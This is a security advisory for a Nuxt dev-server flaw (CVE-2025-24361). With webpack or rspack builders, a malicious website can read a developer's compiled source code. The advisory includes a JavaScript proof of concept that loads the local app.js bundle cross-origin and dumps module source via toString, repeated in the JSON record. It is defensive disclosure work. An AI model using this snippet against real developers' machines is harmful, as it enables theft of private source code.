GHSA-4GF7-FF8X-HQ99

Vulnerability from github – Published: 2025-01-27 11:31 – Updated: 2025-01-30 03:05
VLAI
Summary
Opening a malicious website while running a Nuxt dev server could allow read-only access to code
Details

Summary

Source code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.

Details

Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:3000/_nuxt/app.js"> in their site and run the script. By using Function::toString against the values in window.webpackChunknuxt_app, the attacker can get the source code.

PoC

  1. Create a nuxt project with webpack / rspack builder.
  2. Run npm run dev
  3. Open http://localhost:3000
  4. Run the script below in a web site that has a different origin.
  5. You can see the source code output in the document and the devtools console.
const script = document.createElement('script')
script.src = 'http://localhost:3000/_nuxt/app.js'
script.addEventListener('load', () => {
  for (const page in window.webpackChunknuxt_app) {
    const moduleList = window.webpackChunknuxt_app[page][1]
    console.log(moduleList)

    for (const key in moduleList) {
      const p = document.createElement('p')
      const title = document.createElement('strong')
      title.textContent = key
      const code = document.createElement('code')
      code.textContent = moduleList[key].toString()
      p.append(title, ':', document.createElement('br'), code)
      document.body.appendChild(p)
    }
  }
})
document.head.appendChild(script)

image It contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the sourcesContent field).

Impact

Users using webpack / rspack builder may get the source code stolen by malicious websites.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@nuxt/webpack-builder"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.15.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@nuxt/rspack-builder"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.12.2"
            },
            {
              "fixed": "3.15.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-24361"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-01-27T11:31:41Z",
    "nvd_published_at": "2025-01-25T01:15:24Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nSource code may be stolen during dev when using webpack / rspack builder and you open a malicious web site.\n\n### Details\nBecause the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `\u003cscript src=\"http://localhost:3000/_nuxt/app.js\"\u003e` in their site and run the script.\nBy using `Function::toString` against the values in `window.webpackChunknuxt_app`, the attacker can get the source code.\n\n### PoC\n1. Create a nuxt project with webpack / rspack builder.\n1. Run `npm run dev`\n1. Open `http://localhost:3000`\n1. Run the script below in a web site that has a different origin.\n1. You can see the source code output in the document and the devtools console.\n\n```js\nconst script = document.createElement(\u0027script\u0027)\nscript.src = \u0027http://localhost:3000/_nuxt/app.js\u0027\nscript.addEventListener(\u0027load\u0027, () =\u003e {\n  for (const page in window.webpackChunknuxt_app) {\n    const moduleList = window.webpackChunknuxt_app[page][1]\n    console.log(moduleList)\n\n    for (const key in moduleList) {\n      const p = document.createElement(\u0027p\u0027)\n      const title = document.createElement(\u0027strong\u0027)\n      title.textContent = key\n      const code = document.createElement(\u0027code\u0027)\n      code.textContent = moduleList[key].toString()\n      p.append(title, \u0027:\u0027, document.createElement(\u0027br\u0027), code)\n      document.body.appendChild(p)\n    }\n  }\n})\ndocument.head.appendChild(script)\n```\n\n![image](https://github.com/user-attachments/assets/201e39b7-da5c-4359-867f-96c9adfd3c85)\nIt contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the `sourcesContent` field).\n\n### Impact\nUsers using webpack / rspack builder may get the source code stolen by malicious websites.\n",
  "id": "GHSA-4gf7-ff8x-hq99",
  "modified": "2025-01-30T03:05:05Z",
  "published": "2025-01-27T11:31:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/nuxt/security/advisories/GHSA-4gf7-ff8x-hq99"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24361"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nuxt/nuxt/commit/7eeb910bf4accb1e0193b9178c746f06ad3dd88f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nuxt/nuxt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Opening a malicious website while running a Nuxt dev server could allow read-only access to code"
}



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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

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  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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